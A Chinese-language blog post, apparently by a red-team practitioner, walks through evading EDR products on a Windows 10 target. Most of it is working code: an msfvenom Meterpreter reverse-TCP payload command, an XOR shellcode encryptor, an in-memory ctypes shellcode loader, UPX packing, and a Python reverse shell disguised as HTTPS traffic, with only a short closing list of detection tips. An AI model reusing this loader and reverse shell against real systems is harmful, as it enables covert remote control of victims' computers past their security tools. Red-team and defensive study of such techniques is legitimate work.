一、混淆与加壳的背景故事

在某次红队模拟渗透测试中,我的目标是一家金融科技公司。他们的安全防护措施非常严格,不仅部署了多种EDR(Endpoint Detection and Response)解决方案,还对员工终端实行了严格的白名单策略。面对这样的环境,直接使用公开的恶意载荷几乎会被秒杀,因此我需要在载荷的隐匿性上下功夫,这就牵扯到了今天要探讨的主题:混淆与加壳。

为什么要混淆和加壳? 在攻防对抗中,加壳的核心目标是隐藏恶意代码的真实意图,包括绕过杀软的静态分析、动态行为检测以及沙箱环境。混淆则进一步提升代码的不可读性,让逆向人员和自动化分析工具都难以理解代码逻辑。这两个手段结合,可以极大增加恶意载荷的存活率。

在这篇文章中,我将通过一个真实场景,展示如何使用混淆加壳工具、构造免杀载荷,并最终通过EDR的检测。

---

二、目标环境与思路分析

黑客示意图

目标环境

目标环境中运行的是Windows 10操作系统,安装了以下安全防护工具:

  1. CrowdStrike Falcon
  2. Windows Defender
  3. FireEye HX
  4. 自定义的进程监控工具

这些工具对恶意代码的检测能力涉及静态特征扫描、动态行为分析、内存异常监控等多个层面。特别是EDR产品,它们会对每一个加载的PE文件进行详细分析,包括API调用模式、编码结构、文件特征等。

我的思路

在这种高压环境下,直接使用公开的载荷(比如Metasploit生成的exe文件)会被立即识别。因此,我决定:

  1. 使用混淆技术来避免静态特征匹配。
  2. 对生成的载荷进行加壳,使其逃过动态分析和沙箱检测。
  3. 在内存中加载恶意代码,以规避文件落地。

---

三、Payload的工艺设计

构造免杀载荷

首先,我需要创建一个基础的恶意载荷,可以使用Metasploit的msfvenom生成一个初始的shellcode。为了直观展示过程,我将生成一个反向TCP连接的载荷:

黑客示意图

<pre><code class="language-bash"># 用msfvenom生成基础的shellcode msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw &gt; payload.bin</code></pre>

生成的payload.bin是一个裸的shellcode,它容易被检测。接下来,我需要对它进行混淆处理。

Shellcode混淆

为了混淆,我编写了一个简单的Python脚本,通过异或加密将原始的shellcode隐藏起来,并添加一个解密器:

<pre><code class="language-python">import sys

异或密钥

key = 0x55

def xor_encrypt(data): return bytearray([b ^ key for b in data])

读取原始shellcode

with open(&quot;payload.bin&quot;, &quot;rb&quot;) as f: shellcode = f.read()

加密shellcode

encrypted_shellcode = xor_encrypt(shellcode)

保存加密后的文件

with open(&quot;payload_encrypted.bin&quot;, &quot;wb&quot;) as f: f.write(encrypted_shellcode)

print(&quot;[+] Shellcode 已加密,存储为 payload_encrypted.bin&quot;)</code></pre>

混淆后的payload_encrypted.bin看起来完全是不可读的二进制数据,非常难以直接识别。

动态加载与解密

为了绕过EDR的内存扫描,我实现了一个动态加载器。以下是加载器的核心代码:

<pre><code class="language-python">import ctypes

异或解密密钥

key = 0x55

def xor_decrypt(data): return bytearray([b ^ key for b in data])

读取加密的shellcode

with open(&quot;payload_encrypted.bin&quot;, &quot;rb&quot;) as f: encrypted_shellcode = f.read()

解密shellcode

shellcode = xor_decrypt(encrypted_shellcode)

在内存中执行shellcode

shellcode_buffer = ctypes.create_string_buffer(shellcode) shellcode_ptr = ctypes.cast(ctypes.pointer(shellcode_buffer), ctypes.c_void_p) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p exec_mem = ctypes.windll.kernel32.VirtualAlloc( None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory( exec_mem, shellcode_ptr, len(shellcode)) ctypes.windll.kernel32.CreateThread( None, 0, exec_mem, None, 0, None)

黑客示意图

print(&quot;[+] Shellcode 已加载并运行&quot;)</code></pre>

这个加载器会在运行时解密shellcode并直接在内存中执行,完全不落地,从而绕过文件监控。

---

四、加壳技术的选择与实战

为什么需要加壳?

尽管混淆和动态加载已经相当强大,但某些EDR的行为分析模块仍然可能捕捉到恶意活动,比如异常的API调用序列。因此,我还需要对整个加载器进行加壳处理。

我选择了一个轻量级的加壳工具UPX,它可以对PE文件进行压缩和伪装:

<pre><code class="language-bash"># 用UPX对加载器进行加壳 upx --best --overlay=strip loader.exe</code></pre>

加壳后的文件在结构上与原始文件有明显不同,可以绕过许多基于特征的静态检测。

---

五、绕过EDR与流量伪装

黑客示意图

EDR绕过细节

为了绕过EDR,我还加入了以下优化:

  1. 混淆API调用:使用LoadLibraryGetProcAddress动态加载核心API,避免直接调用。
  2. 流量伪装:将反向连接的流量伪装成HTTPS流量,使用类似Cobalt Strike的C2框架进行管理。
  3. 延迟行为触发:通过延迟加载和沙箱检测逃逸技术,减少早期被发现的风险。

流量伪装代码

以下是如何将反向连接流量伪装为HTTPS的代码示例:

<pre><code class="language-python">import ssl import socket

def https_reverse_shell(host, port): context = ssl.create_default_context() sock = socket.create_connection((host, port)) ssl_sock = context.wrap_socket(sock, server_hostname=host) ssl_sock.send(b&quot;Hello, this looks like HTTPS!&quot;)

while True: cmd = ssl_sock.recv(1024) if cmd == b&quot;exit&quot;: break output = subprocess.check_output(cmd.decode(), shell=True) ssl_sock.send(output)</code></pre>

这种伪装方式会让流量看起来像正常的HTTPS通信,从而绕过流量监控。

---

六、检测与防御经验

如何检测混淆与加壳载荷?

作为甲方安全团队的一员,我总结了一些经验:

  1. 内存行为分析:监控内存中异常的代码注入行为。
  2. 特征匹配扩展:对UPX加壳的文件进行特征匹配。
  3. 流量分析:通过解密和行为分析工具识别伪装的流量。

防御建议

  1. 优化EDR规则,增加对动态加载API的监控。
  2. 部署网络流量检测工具,识别异常的HTTPS通信。
  3. 定期对员工终端进行全面的静态和动态扫描。

---

七、实战中的关键心得

  1. 混淆与加壳不是万能的:在对抗高级EDR时,必须结合流量伪装和行为触发技术。
  2. 工具选型很重要:选择合适的混淆和加壳工具可以极大提升载荷存活率,但实际效果需要不断测试。
  3. 红蓝对抗视角互补:作为甲方安全团队的一员,了解攻击者的思维能够帮助更好地提升防御能力。

---

文章到此结束,希望通过这次分享,能让大家对混淆加壳工具的使用有更加深入的理解。技术永无止境,攻防亦是如此。